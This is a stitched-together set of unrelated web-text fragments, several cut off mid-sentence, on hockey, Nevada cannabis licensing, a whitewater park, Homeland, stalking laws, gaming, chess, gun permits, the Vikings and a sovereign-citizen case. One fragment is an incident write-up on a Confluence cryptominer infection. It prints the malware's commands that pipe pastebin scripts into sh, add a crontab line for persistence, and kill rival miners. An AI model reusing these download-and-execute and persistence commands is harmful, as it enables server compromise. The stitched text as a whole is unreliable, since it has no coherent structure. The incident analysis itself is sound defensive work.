make a deal that benefits both countries. But be cool, it will all work out! — Donald J. Trump (@realDonaldTrump) May 13, 2018 "But past negotiations have been so one sided in favor

was back to honor the last two seasons of his contract with the Red Wings. “We offered him a contract and he chose to be a bigger part of things somewhere else,” Coach Mike Babcock said. “That’s just part of it, the salary cap world, that’s the way it goes. You make decisions on what things are worth. Usually two years later you say ‘That would be a steal of a deal now’ because the cap grows. But it was one of those decisions. Huds is a good player for them. We’re always happy to see him. His (fiancé) was having a baby last time we were in Calgary so we didn’t have to play against him, so it was nice.” Jonathan Ericsson Defense - DET Goals: 3 | Assists: 11 | Pts: 14 Shots: 71 | +/-: 1 Injured in the first period of Wednesday’s win over the New York Rangers, Ericsson said he’ll play tonight against the Flames. “I just hurt my shoulder a little bit,” said Ericsson, who has played in every game this season. “To have a better chance to play today we took yesterday off.” Ericsson will skate with Kronwall, his regular defensive partner. REVVING THE POWER-PLAY: The Red Wings’ power play has produced at least one goal in 38 games, which is one game shy of tying last season’s totals. Detroit continues to own the league’s best rated power play at 25.2 percent, registering 56 goals on 222 chances. The Wings have a 26-8-4 record – that’s a.737 winning percentage – when they’ve scored on the power play. Their winning percentage jumps to.867 when they’ve scored more than one power-play goal (11-0-4) this season. Alexey Marchenko Defense - DET Goals: 1 | Assists: 1 | Pts: 2 Shots: 5 | +/-: -1 Recovering from a sore oblique muscle, rookie defenseman Alexey Marchenko skated for the fourth consecutive day at Joe Louis Arena. While he still feels some degree of discomfort, the pain isn’t nearly as bad as it was Saturday when he suffered the injury in Nashville. “Yesterday I felt it pretty good … just tightness,” Marchenko said. “It feels like a huge bruise on my side and today is like yesterday. It feels pretty good.” Unable to shoot a puck with any velocity earlier this week, Marchenko has been managed to increase on-ice activities every day. “I do everything like skating wise,” he said. “I can pass it like games passes, so pretty hard. Like shots not there for sure, but it’s getting better.” As far as a timetable for his return, Marchenko pretty much ruled out Sunday’s game at Boston. Johan Franzen Right Wing - DET Goals: 7 | Assists: 15 | Pts: 22 Shots: 74 | +/-: -12 Still symptomatic from his latest concussion, Johan Franzen skated on his own twice this week, including Friday prior to the Red Wings’ optional morning skate, at Joe Louis Arena. Franzen is still experiencing migraines since he absorbed a blind-side hit to the head by Edmonton’s Rob Klinkhammer on Jan. 6. The Wings' power forward is being treated by Dr. Jeffrey Kutcher, an Ann Arbor-based neurologist and consultant for the NHL Players’ Association. It is estimated that Franzen has had at least 10 concussions throughout his hockey-playing career. Last season, a concussion forced him to miss 22 regular-season games, as well as withdraw from representing Sweden in the Sochi Olympics. Franzen, who has missed the past 22 games with this latest head injury, remains on injured reserve and is not close to returning to the Wings' lineup, though he continues to work toward a comeback. Smith THE OTHER SMITH: Brendan Smith’s brother, Reilly, received a new two-year extension worth $3.425 million from the Bruins on Friday. “I think Boston got a good deal out of it,” the Red Wings’ defenseman said. “If you look at some of the numbers, if you look at comparables, I think Boston found a way to get him for a pretty good price. However you want to look at it, I think it’s a good contract. I’m happy about it

(ANTIMEDIA) A recent state court ruling out of Carson City, Nevada, has essentially reaffirmed an effective monopoly for liquor vendors over the pending legal cannabis market. The ruling, which came in response to a lawsuit from holders of liquor licenses in the state, determined that for the first eighteen months of cannabis legalization, only those who already have liquor licenses will be allowed to distribute weed. As a result, the ruling also appeared to postpone the planned commencement of retail sales on July 1. According to the provisions of the initiative that legalizes recreational cannabis, as cited by Judge James Wilson Jr. in his ruling: “For 18 months after the Department [of Taxation] …begins to receive applications for marijuana establishments, the Department shall issues licenses for marijuana distributors pursuant to this chapter only to persons holding a wholesale license pursuant to Chapter 369 of NRS, unless the Department determines that an insufficient number of marijuana distributors will result from this limitation.” A wholesale dealer license, pursuant to Chapter 369 of NRS, is required for all liquor vendors in the state, meaning the only entities eligible to distribute cannabis in the state for the first year-and-a-half of legalization will be liquor vendors — unless they cannot meet demand as determined by the government. It is unsurprising that this was included in the provision considering the Independent Alcohol Distributors of Nevada, the plaintiffs in the suit, donated $87,000 to efforts to pass Question 2, which legalized recreational cannabis. As TIME reported back in 2015 before the ballot was even put to a vote, “Backers of the initiative consulted with alcohol distributors when they wrote the measure to avoid a fight,” earning the financial contribution in the process. The recent lawsuit was initiated after the Department of Taxation determined there was an insufficient number of liquor licensees who wanted to distribute cannabis, and as such, others would be able to apply — a decision the Independent Alcohol Distributors of Nevada (IADN) disputed. Judge Wilson ruled the Department of Taxation had failed to adequately acknowledge interest from liquor license holders who wanted to participate in the new industry, ultimately reaffirming that these liquor vendors have exclusive rights to sell marijuana — entirely excluding existing medical marijuana retailers. As the Associated Press reported: “[Judge Carson] said the members of the Independent Alcohol Distributors of Nevada demonstrated they will suffer irreparable harm if he doesn’t block the state from licensing existing marijuana businesses as distributors.” It is unclear how dire the harm could possibly be considering liquor distributors have already established businesses in the legal alcohol market. Further, it makes little sense to give priority to an industry relatively unfamiliar with cannabis while established vendors who have been already been selling and distributing medical cannabis are left out in the cold. But that’s how the legislation was written, unsurprisingly, because of special interests. In a year-and-a-half, others will be allowed access to the market, but it remains to be seen whether the alcohol vendors will have dominated Nevada’s industry with the help of the government by then. As AP noted: “The judge’s order limiting licenses strictly to liquor wholesalers is the biggest roadblock [lawmakers] have faced yet because only five liquor wholesalers have applied for pot distribution licenses — compared with more than 80 applications from existing marijuana businesses — and none has met the legal requirements.” The ruling could postpone the set July 1 date as the government continues to tease out who will be eligible to distribute the plant; according to the Department of Taxation, only five liquor license holders have applied for the opportunity to distribute cannabis. The Las Vegas Review-Journal reported that the Department hinted it might appeal the decision and is hopeful the July 1 date is still possible. Nevertheless, the problem could have all been avoided had the legalization language not granted special rights to the liquor industry. As AP noted: “As many as 60 medical dispensaries certified as of May could be eligible for recreational sales beginning next month, but only if they can be served by licensed distributors.” AP reports that more than 80 existing medical marijuana businesses applied for a license, but they will have to wait as government interferes in the market to guarantee profits for liquor distributors. As Kevin Benson, a lawyer for the IADN, said while arguing to uphold the 18-month exclusivity policy: “There’s not going to be any business left for the alcohol distributors because most of the medical dispensaries are already distributing to themselves. They will have no need for a third-party.” Creative Commons / Anti-Media / Report a typo

Bend, Ore. – June 9, 2016— The Bend Park and Recreation District is taking action to evaluate the safety and overall experience of its new Bend Whitewater Park. As an immediate step, the Passageway channel at the park will be closed beginning today while evaluations are conducted. The passageway is likely to be closed throughout the summer season.“Everything we do as an organization is for the enrichment of this community and we can do better here,” said Don Horton, executive director, Bend Park and Recreation District. “The Bend Whitewater Park’s Passageway channel is not meeting expectations and we’re hearing about safety concerns, so it is being closed while we re-evaluate its function. We have not yet met our high goals for this project.”During several days of record-breaking temperatures, thousands of people experienced the Passageway channel for the first time. The early season river activity has provided opportunity for feedback from many users and observers.“We deeply appreciate the input received in the past few days because it is helping us serve the community better,” said Horton. “Many people have been enjoying the Passageway and we appreciate the support from people who may be disappointed by this decision. It’s clear that this is not the passageway experience we set out to create, and we need to regroup and see if it can be improved.”River users can continue to float as in past years by exiting the river prior to the Colorado Ave. bridge and re-entering the river at McKay Park. Signage is being added immediately along the river and at beach put-in locations to indicate the change for floaters.The decision to close the Passageway channel to floaters was made in consultation with Bend Paddle Trail Alliance leaders who are supportive of the closure.“The Bend Whitewater Park is the first in the Pacific Northwest and is unique to our geologic area. It’s quite typical in these types of projects to need to make adjustments,” said Justin Rae, president, Bend Paddle Trail Alliance. “BPTA plans to be involved as Bend Park and Recreation District enlists additional experts to evaluate options for improvements.”The Bend Whitewater Park’s Whitewater channel will remain open for expert river users who enter from downriver at McKay Park for whitewater kayaking, surfing and paddleboarding; however, floating through the area from upstream is not permitted.Early communications about the bond measure proposal and the project described a safe passageway and Bend Park and Recreation District is holding itself accountable on delivering quality park and recreation experiences for the community.The current Passageway includes a series of Class I and Class II rapids to accommodate an approximate 8-ft. drop in elevation in a 300-ft. stretch of the river. The channel also serves as a fish ladder providing passage that will continue to be part of the project.A timeline is in process for additional evaluations by the engineering firm that designed the park, swift water rescue experts and other experts to provide insights and recommendations. As evaluations occur, BPRD will update the public on status and timeline developments.To begin the process, today, sandbags were installed in the whitewater channel to reduce safety hazards previously identified and to improve performance of the surf wave features used by whitewater enthusiasts.For floaters:• It is required to exit prior to the Colorado Ave. Bridge. To portage, follow temporary detour signs to walk on the sidewalk on the west side of Shevlin Hixon Road to reenter the river at McKay Park.• Wear a life jacket. They are required for all boaters, paddleboarders and children 12 years and under, and are recommended for everyone.• Consider your own and your children’s abilities before entering the water and always supervise children in and around the water.• Use equipment intended for river recreation. Rental equipment is available at Riverbend Park and local retailers. Complimentary use of life jackets for children 12 and under is available at the Riverbend Park rental trailer.Whitewater kayakers, surfers and paddleboarders:• Access to the Whitewater channel is from downriver at McKay Park or Miller’s Landing Park. Do not access the channel from upriver or via the habitat channel.• The river-left (west) island is for line-up. There is no public access to the river-right island.• Life jackets and whistles are required for all boaters and paddleboarders.• Helmets are recommended. Board leashes, however, should not be used as they can get caught on underwater elements.• Always scout the conditions as river flows and wave features change frequently.• Consider the waves above and below and plan your exit routes for each wave.• Check the Bend Whitewater Park Facebook page for updates and conditions at Facebook.com/BendWhitewaterPark

Intro A few days ago, a client contacted us with the problem of 502 error on their Atlassian Confluence instance. They are running their own instance of Atlassian Jira and Confluence, that are not updated regularly, despite out best efforts to motivate them to do so. As good sysops do, we hit the helicopter and dropped into the issue by ropes (as freaking commandos). Basically you quickly lear how dependant the client is on the software, when it does not work. This is the story of digging deeper… Symptoms Error 502 (Bad Gateway) when accessing Confluence instance. High CPU usage Unknown crontab runs in syslog. syslog.1:Apr 15 15:40:01 jira CRON[14553]: (confluence) CMD ((curl -fsSL https://pastebin.com/raw/wR3ETdbi||wget -q -O- https://pastebin.com/raw/wR3ETdbi)|sh) Modus operandi The cron job we have mentioned earlier in the symptoms section runs another curl/wget process. I believe that this intermediate script is to ensure they are not caught because of the higher payload of the next part. The script makes sure the execution is silent, without any output and even to follow redirects on the url. (curl -fsSL https://pastebin.com/raw/Zk7Jv9j2||wget -q -O- https://pastebin.com/raw/Zk7Jv9j2)|sed -e's/\r//g'|sh The script Source Export the classic paths in case the exploited user does not have them set up. export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin Create the /tmp directory and set up the usual permissions in case it does not exist. mkdir -p /tmp chmod 1777 /tmp Make sure the script is run in cron every 15 minutes. echo "*/15 * * * * (curl -fsSL https://pastebin.com/raw/0Sxacvsh||wget -q -O- https://pastebin.com/raw/0Sxacvsh)|sh" | crontab - They really don’t want any competition, so kill all similar malware of other authors. ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep "thisxxs"|awk '

The EP speaks with THR about his drama's divisive plot points, the delicate state of his antiheroes and the final four episodes: "This season, probably more than the first and the second, has been carefully plotted out from the beginning." [Warning: Spoilers ahead for Sunday's episode of Homeland, "A Red Wheelbarrow"] Homeland dropped quite a few big developments during Sunday's episode, the last of what showrunner Alex Gansa describes as the season's second movement. Carrie (Claire Danes), entering her second trimester, is dealt a major setback -- and a bullet to the shoulder -- in her revived quest to prove Brody's (Damian Lewis) innocence. As for the world's most-wanted man, Saul (Mandy Patinkin) discovers him drug-addled and catatonic in the same Venezuelan cell where viewers last saw him five episodes ago. PHOTOS: 'Homeland' Portraits of the Emmy-Winning Cast and Creators Entering the final sweep of episodes before the Dec. 15 finale, Gansa chatted with The Hollywood Reporter about what's next for Homeland (a lot more Brody -- though the word is out on his family), how he's handling the criticism that seems to go hand-in-hand with the Showtime series these days and why this season actually has been the most carefully structured. You’ve described this season as being broken into three movements. What can you say about the next one? Well, this would be the end to the second movement, and I think it’s really obvious what the last movement is about. I think it belongs to Nick Brody -- that’s the last sweep of episodes this season. What did you want to accomplish with this second chapter of the season? Once we realized that Saul and Carrie had a play to lure Javadi [Shaun Toub] out of Iran, and to turn him, this was really that play. It was how they brought him into the country, how they turned him, how they integrated him, how they sent them back and ultimately the tantalizing piece of information that he left with Carrie about Brody’s innocence. Brody is in pretty rough shape. How long has he been locked up? You know, that’s an open question, but I would say a couple of months at least. Does his return mean there will be more from the Brody family? Should I touch the third rail? I don’t think so. [laughs] People can wait and see for themselves. Q&A: Damian Lewis Talks Brody's 'Homeland' Return, Rock Bottom and TV Fatherhood Speaking of the third rail, when did you make the decision to have Carrie be pregnant? From the very get-go of the season. We all knew that she was pregnant when we sat down at the beginning of the year. We knew that she became pregnant as a result of their time together at the lake -- that last time. And our task became “What’s the least melodramatic way to reveal it? What’s the way that feels honest and true to her character?” Did you think it would be such a divisive move? It’s so funny to read people’s responses: “It’s a soap opera… It’s another twist.” For us, it’s neither. A twist is something that happens when a story is going one way and you’re thinking one way but something happens that completely turns it on its head. Carrie’s pregnancy is a plot development. Hopefully, it will be handled in a way that isn’t melodramatic and isn’t a soap opera. I think we started that out by the fact that she opens that drawer, and in true bipolar fashion, has been testing herself every couple of days for the last three months. She just wants to come up negative once, so she doesn’t have to be pregnant. How far ahead did you plan how the pregnancy will play out? Here’s the other funny thing. It’s impossible to be objective about the work -- we’re in the middle of it still, and we can’t tell -- but this season, probably more than the first and the second, has been carefully plotted out from the beginning. We all knew where the show was going to begin this year and where the show was going to end this year. From the very minute when we decided the story in early March. Everything that has happened this season so far has been in a very large degree much more meticulously planned than the first and second seasons. To hear that we’re wandering in the woods is just hysterical to

recently, Maryland has a mandatory arrest law. In other jurisdictions, a woman who signs a complaint against her husband for domestic violence is not permitted to drop assault charges. Such rules do not apply to any other kind of misdemeanors: various studies have shown that when both the suspect and the complainant are present inmisdemeanors (domestic or not), arrests are made less than half the time. Recent studies have shown that the deterrent value of mandatory arrest for domestic violence, particularly in poor, high‐​unemployment communities where such violence is most common, is dubious at best. Nonetheless, opposition to mandatory arrest has been frequently met with objections based on politics, not demonstrated effectiveness. VAWA, which establishes federal grants for states and municipalities to combat domestic violence, requires as a condition of grant eligibility” laws or official policies [which] mandate arrest of spouse abusers on probable cause.” Ironically, mandatory arrest laws have often backfired against women (who, ample research shows, are about as likelyas men to resort to violence in domestic situations). Analyzing the 1985 National Family Violence Survey, the largest survey on domestic violence, sociologists Murray Straus and Jan Stets write, “Of the … respondents who experienced one or more assaults, both parties engaged in violence in 49% of the cases, violence by men occurred in 23% of the cases, and violence by women occurred in 28% of the cases. No significant differences were found by gender of respondent … [W]omen not only engage in physical violence as often as men, but they also initiate violence about as often as men. In Wisconsin, two months after the mandatory arrest law was enacted, a woman wasarrested for slapping her 18‐​year‐​old son “because he sassed her and made an obscene gesture.” Some states alsoshowed a high rate of “dual arrests,” in which both partners in a violent incident were arrested. This, says Sherman,“resulted in intensive lobbying [by battered-women’s advocates] not to arrest women regardless of probable cause to do so.” VAWA requires that states and municipalities eligible for federal grants for anti‐​violence programs must “demonstrate that their laws, policies, practices, and training programs discourage ‘dual’ arrests.” ###Stalking### Another area of feminist legal activism where good motives have been marred by an attempt to cast too wide a net has been the “stalking” legislation that has proliferated in recent years. While stalking is not exclusively a male offense against women (an Illinois police chief says that many men who are stalked are too embarrassed to get the police involved), it is often portrayed as such by advocates and by the media. The first stalking law was enacted in California in 1990; similar statutes are now on the books in 48 states and theDistrict of Columbia. Their purpose, essentially, is to take a preemptive strike against a likely offender. As the former U.S. Attorney Jay B. Stephens put it, “We should not have to wait until an overt act of violence occurs to take action.” That seems to run counter to the principle that persons can only be punished for crimes they have already committed. To overcome that barrier, stalking–defined as a combination of threats, harassment, and surveillance–hasitself been made a crime. In the past, such behavior was defined simply as harassment, a summary offense which carried no serious penalties. In most states, stalking laws have been passed in response to a shocking crime that could have been prevented. In March 1992, 26‐​year‐​old Connie Chaney of Des Plaines, Illinois, was gunned down in her office by her estrangedhusband Wayne, who had repeatedly violated a protection order and had been released on bond after allegedly raping her at gunpoint. A law that made stalking a felony punishable by a maximum of three years’ imprisonment and a $10,000 fine was passed by the state legislature in June of that year and signed by Gov. Jim Edgar. The law requires proof of a threat of harm followed by at least two instances of following or watching the victim. Other states have passed laws that are far broader and more vague. The District of Columbia law covers not only harassment that puts a person “in reasonable fear of bodily injury or death,” but also “conduct with the intent to cause emotional distress to another person;” the penalty on the first offense is a fine of up to $500, up to one year in jail, or both. The Pennsylvania stalking statute, signed into law in June 1993, likewise covers conduct demonstrating “an intent to cause substantial emotional distress.” Some advocates even insist that there should be no need to prove intent to cause distress. In Virginia, a district judge found the state anti‐​stalking law unconstitutional because it“goes too far and attempts too much.” In the case, the

In a keynote address at the DICE Summit in Las Vegas, Microsoft’s head of games Phil Spencer has called on the games industry to fix biases that leave women and minorities feeling uncomfortable, both in the workplace and in online game-worlds. Spencer said: “In order for us to do our best work, we need our work environment to work well. It is incredibly slow and painful to get everyone on board and to admit your own biases. It’s about making a commitment to keep listening and learning. We must keep at this transformation because we know it enables our best work. That means all genders, all abilities and all ethnicities in all geographies. This is our quest. Spencer recalled mistakes made by Microsoft over the years in which he was involved, including hiring scantily clad dancers at a GDC party in 2016 and the botched launch of the Xbox One. Regarding the latter, he said: “The team was in a world of pain. We hadn’t done our best work with the launch of Xbox One. Market share was taking a nosedive. It was painful to read all the headlines. The team thought the leadership team had gone tone-deaf about what our customers expected from us. So we hit refresh on everything, a comprehensive rethinking and rebuilding of our culture.” Spencer went on to appeal to developers to create game-worlds that embrace the diversity of their participants, saying: “Toxic behaviour doesn’t just hurt the individual, it hurts our entire industry. We have to ask ourselves, ‘Am I building worlds where all of us can thrive and achieve more?’ The time to get our culture right is right now. It’s our increasing responsibility to make gaming for everyone. Representation isn’t just good common sense; it’s good business sense.” Having transformed Microsoft’s Xbox games division since he took the reins in 2014, Spencer commands the respect of the industry. And in recent years, games-related problems like a lack of women among the developer community and levels of abuse in online gaming have been increasingly highlighted. , with only a sprinkling of experiments so far like watching a basketball game or taking a tour of Mars. But there aren't enough users to convince companies to invest in more content. VR still needs two primary elements to become mainstream, said Koh Dong-jin (who is better known as D.J. Koh), head of Samsung's mobile business. Those are content and ease of use. For the former, Samsung is working with partners, as well as updating the Gear 360 to make it easier for people to create their own videos and photos. Samsung hasn't yet revealed the price of the new Gear 360, but Koh said it will be "very affordable." The first generation cost $350. The company is also committed to simplifying the whole VR experience. "The second version of Gear VR is, I would say, very, very easy to use at the moment," Koh said in an interview in South Korea. Dabbling in AR Samsung's been early with VR, but it hasn't said much about the technology's counterpart, augmented reality. While VR transports you to a different world, AR displays a virtual world on top of the real one. A good example of the technology is Pokemon Go, which lets you catch digital monsters jumping around in the real world on your phone's screen. Several companies have been working on AR, including Microsoft with its HoloLens AR goggles and Osterhout Design Group's R-8 and R-9 glasses. So far, the two biggest companies in mobile, Samsung and Apple, haven't made any moves in that market. Apple CEO Tim Cook has expressed his interest in AR many times, and the next iPhone expected later this year is rumored to include the technology. Koh said Samsung's interested too, but it's not releasing the technology anytime soon. AR "will be the next big step," he said. "We're under preparation a lot. To provide as a commercial product, we may need more time. It won't be too late." Virtual reality 101: CNET tells you everything you need to know about VR. Special Reports: CNET's in-depth features in one place.

Bobby Fischer is missing in this exquisite field. Karpov: I hope that he is safe in Iceland now. I am very happy that this story in Japan has ended peacefully for him. This whole fuss did not only damage Fischer’s image, but that of the USA as well. The way the Americans treated one of their most popular citizens did not make a positive impression worldwide. You were even a bit disappointed, when main organiser Hans-Walter Schmitt informed you that you have to play normal chess instead of Chess960. Maybe a match against Fischer is still possible, if you play Chess960, the chess variant Fischer himself invented? Karpov: I would love to play Chess960 with Fischer. It is not necessary to spend ages preparing some opening variations, because there is just no theory. It is important to be in good shape and to have a clear mind. Than you can play a match with Fischer and you can even beat him. I doubt however that we will ever play a match. It will only be possible if Fischer desperately needs the money. Viktor Kortchnoi will be very motivated to play against you. It seems that he is still eager to beat you, despite the fact that he is 74 years old. How is your relationship with him nowadays? Karpov: It depends on whether he has slept well. If he had bad dreams, he speaks a lot of rubbish. I assume that you want to win your 162nd tournament in Mainz. Or is it possible that we will see a kind and not such an ambitious Anatoly Karpov, especially in the games against Unzicker, the person who is celebrating his birthday? Karpov: This tournament is all about Wolfgang, it is not important if I win another tourney! It will be a great gift for the fans to be able to watch grandmasters, great grandmasters from different generations and to see exciting games. instituted with the noble intent to decrease the length of combat deployments, but the frequent turnover of teams, inability to understand the nuances of the operating environment, and surface-level relationship building is unproductive at best, and more often counter-productive. Such a shift could change the entire way special operations careers are envisioned (possibly by mandating non-combat tours that last over a year), but the current deployment cycle is not positioning special operations forces to succeed in asymmetric conflicts against violent extremist groups and rival state actors alike. Conclusion For the time being, Special Forces, SEALs, and MARSOC will train and advise Philippine Security Forces in tactical missions as they attempt to recapture Marawi and physically push the Islamic State out of the city. It is likely that the aforementioned forces will succeed in its tactical missions and will probably mount successful operations to counter the Islamic State in the short-term. But with its current priorities and organization, Special Operations Command is not positioned to defeat the Islamic State because it does not prioritize operations to limit the Islamic State’s global appeal. Without changing its organizational culture and recognizing how outside criticism of information operations has impacted leaders’ willingness to employ these tools, strategic success will continue to evade SOCOM. Such a failure in the Philippines may not directly threaten American security, but the misalignment of means and ends will limit U.S. Special Operations Command’s ability to challenge more powerful global adversaries. Cole Livieratos is currently pursuing a PhD in International Relations at Georgetown University. He is an Army officer in Military Information Support Operations and has three deployments with infantry and Special Operations units. The views expressed here are those of the author and do not reflect the official policy or position of the Department of the Army, Department of Defense, or the U.S. government. Image: U.S. Air Force photos by Capt. Jessica Tait Correction: This article originally referred to SOCOM-Pacific, rather that SOCPAC.

As offices continue to close all over the Country, it seems that nothing is safe from Coronavirus. Florida has closed the office that handles the fingerprinting process for new concealed carry permit applicants. And if that office is closed, no one can apply to obtain a permit. Press release: Acceptance of New Concealed Weapons License Applications Delayed During COVID-19 Mar 20, 2020 Tallahassee, Fla. – To minimize exposure to COVID-19 and help protect visitors and employees, the Governor has recommended state offices be temporarily closed to the public from Thursday, March 19th through Sunday, April 19th. As a result, FDACS Division of Licensing regional office personnel will not be available to fingerprint license applicants. Local law enforcement agencies and tax collector offices across Florida have likewise begun to temporarily suspend fingerprinting services. Therefore, first-time concealed weapons license (CWL) applicants will be unable to obtain electronic or hard card fingerprinting services from any of the means authorized by section 790.06(5)(c), Florida Statutes. As a reminder, fingerprints submitted from any source other than official law enforcement, tax collector offices, or FDACS Division of Licensing offices cannot be accepted under 790.06(5)(c), Florida Statutes. To prevent unnecessary financial burdens and frustration to CWL applicants who would be unable to be approved due to the unavailability of fingerprinting services, acceptance of online or in-person initial CWL applications beginning Monday, March 23, 2020 will be delayed. Per Commissioner Nikki Fried’s emergency order 2020-004, expiring concealed weapons licenses and security officer licenses will be automatically extended an additional thirty (30) days at this time. Renewals/Security Officers: The Division of Licensing will continue accepting online and mailed CWL renewal applications and all Chapter 493 security officer applications as usual. If applicants have questions, they may contact the FDACS Division of Licensing at (850) 245-5691 or [email protected]. Division of Licensing personnel will remain available to answer questions by telephone or email. Admittedly, from afar, the black Mi 4's front side and frame do remind us of the iPhone 5 or 5s, but you have to give credit to Xiaomi and its partners -- Foxconn and HiP -- for the extra work gone into crafting the metal parts. The shiny chamfer alone takes more than six hours to finish, apparently, and they've also added a nano-coating to the sides to deter fingerprints and liquids. The result is a 67.5mm-wide body -- beating the Smartisan T1's 67.74mm -- that sits comfortably in your hand, and the phone only weighs 149g. The Mi 4 will be available for pre-ordering in China as early as July 29th, and you'll also be able to pick up one of the many back covers to suit your taste -- be it bamboo, wood, leather, cloth or even stone textures. On top of that, you can add CN¥99 or about $16 for an annual insurance for broken screen plus accidental liquid damage. Sadly, Xiaomi reps told me that there's no info regarding the phone's global availability just yet, so stay tuned. The boost in Xiaomi's sales figure is helped by the company's expansion into other parts of Asia, including Singapore, Malaysia, Philippines and, very recently, India. You can thank ex-Googler Hugo Barra for that, who has been very hands-on with this project. On a related note, there are now 65 million activated MIUI users, who will be able to upgrade to version 6 as of August 16th. After 26.11 million phones -- which translates to 33 billion yuan or about $5.32 billion -- so far this year, Xiaomi CEO Lei Jun expects to sell a grand total of 60 million phones in 2014, which would be more than twice of that from 2013. With that price point and Lei's promise to keep a tighter grip on the supply chain, this will no doubt be a walk in the park for Xiaomi. Update: Xiaomi's also launched a $13 fitness band alongside the Mi 4. We have a feeling that it's going to sell very well.

Good morning kids, how are we feeling this morning? I have to tell you, after last week’s great win to open the season, yesterday’s Letdown At Lambeau wiped out a lot of the feel good vibes we had up until about noon or so. I fully expected the Vikings to win that game, so color me gobsmacked at how the afternoon unfolded. Yesterday started out as the almost polar opposite of last week. Against the Falcons, the Vikings were up 21-0 before we could say Hub Mead. Yesterday, they were down 21-0 before former Vikings great Brett Favre was able to escort Bart Starr’s widow to her seat. Last week, the Vikings played complementary football about as well as ever in the Mike Zimmer era. Yesterday, it was about as poor a start as you could imagine, for both the offense and the defense. The Packers took the opening drive and worked the Vikings throwback Les Frazier defense like a two dollar hooker, going 75 yards in four plays for a touchdown, 68 yards in 11 plays for a touchdown, and then four plays for 33 yards and a touchdown after a turnover. Before 16 minutes of gameplay had elapsed, Minnesota had dug themselves a 21 point hole they couldn’t crawl out of. Yes, the defense stiffened and didn’t allow any more points, but too much damage had already been done. The offense didn’t help much at all, either. Their opening drive ended in a missed field goal, and their second drive was a lost fumble that set the Packers up on a short field. After they had closed the gap to 21-16, the offense had three legit opportunities to take the lead, and their last four meaningful drives in the game went punt, punt, interception, punt. Last week, we said that the Vikings run/pass split disparity would even out, and at some point they would need to pass the ball to score points and win a game. That point came yesterday, and the Vikings failed miserably. QB Kirk Cousins had, arguably, his worst day as the Vikings signal caller, putting up a statline that was right out of 1966—14/32 passing, 230 yards, 1 TD, and 2 interceptions. He also fumbled twice, losing one, and once again, all the talk about his penchant for a turnover and inability to play well in a big game have come to the forefront. Last week, the Vikings were 3/3 scoring touchdowns in the red zone. Yesterday, they struggled mightily, going 0/2, and the Cousins interception was a brutal backbreaker. However, it’s not like Cousins struggling in the red zone is an anomaly: Pro Football Focus offered this as context for Cousins’ INT on 1st-&-goal from 8: “From the opponents’ 10-yard line and in, Cousins ranks 27th out of 27 qualifying QBs in passer rating (76.5) since 2017, completing 44.6 percent of his passes w/ lowest yards per attempt avg (1.6) — Jim Trotter (@JimTrotter_NFL) September 16, 2019 I understand the frustration out there, but if you’re calling for Cousins to be benched, traded, or cut, well...it’s just not going to happen. The Vikings have 30 more games with him as the quarterback, barring an extension, and the guaranteed contract is too cap prohibitive to trade or cut him. It’s simply not happening. So you can gripe and complain all you want, but he is our quarterback, for better or for worse. So I’m going to choose to support him and hope for the best, because there really aren’t any other options. I’d also like to play out your ‘get rid of Cousins’ scenarios out there. Who would you have quarterbacking the team, Sean Mannion? He seemed to be more disliked than Cousins in the pre-season, if we’re being honest. The Vikings don’t have enough cap space to go out and sign or trade for a QB, and even if they did, he wouldn’t be ready to play for at least a week or two. One last thing about this before we move along. After the 2017 season, if you wouldn’t have signed Cousins, what would you have done? Kept Teddy Bridgewater, who has looked like ass in New Orleans? Kept Case Keenum, who is on his second team in two years? How about Sam Bradford, who has taken his one good knee and is out of football? Kyle Sloter, who couldn’t beat out Trevor Siemian twice, or Sean Mannion once? Whatever your answer is, the best option, from a pure talent perspective back then, was and still is Kirk Cousins. Yes, Cousins has played some extremely underwhelming football

Ronnie Lee Davis, who heads a cult-like sovereign group called “Bear’s Law and Forensic Science,” advertised that his operation offered the “golden ticket” to help parents whose children were removed from their homes for neglect or abuse by Child Protective Service workers. He provided those services to “clients” in at least two states, Idaho and Florida, before he was named in a warrant issued earlier this year in Pasco County, Florida, charging him with unlawful practice of law there. “We at the Bear’s Law and Forensics Team comprehend the law and the plight of parents who have lost their children,” Davis’ advertisement claimed. The ads boast that Davis and his team “have fought the devils who claim to be helping children [who] in reality are violating federal kidnapping laws.” His ads cite the usual legal-sounding mumbo jumbo — references to the Uniform Commercial Code and the Constitution — frequent hallmarks of sovereign citizens. The new unlawful practice of law charge in Florida was filed while Davis, 49, was in jail on separately filed charges of armed kidnapping and false imprisonment related to allegations he kidnapped a Texas woman who visited his group’s compound near Polk City, Florida. He lives and provides his legal services from that facility with other members of his “forensic team” who haven’t been charged at this point. In a plea deal last month, Davis pleaded guilty to lesser charges of battery and possession of a firearm by a convicted felon. He is now in state prison, serving time for those crimes, scheduled for release on Nov. 23. Because he hasn’t been formally arraigned yet on the unlawful practice of law charge, the details in the formal charging documents aren’t yet public record. However, Hatewatch learned of the new felony charge after Florida Circuit Judge Lynn Tepper filed a formal complaint with the Florida Bar, contending Davis had represented himself as an attorney to her and a client in a courtroom proceeding. A copy of that judge’s complaint, subsequently obtained under Florida’s public records laws, says Davis “appeared by phone before the Court on May 26, 2016 and participated in the hearing as the attorney representing the mother.” The mother, whose identity isn’t in the document, believed Ronnie Davis was a licensed attorney after seeing his Bear’s Law advertisements and Facebook posts. The Florida Bar passed the judge’s complaint on to the assistant state attorneys for the state Sixth Circuit handling matters 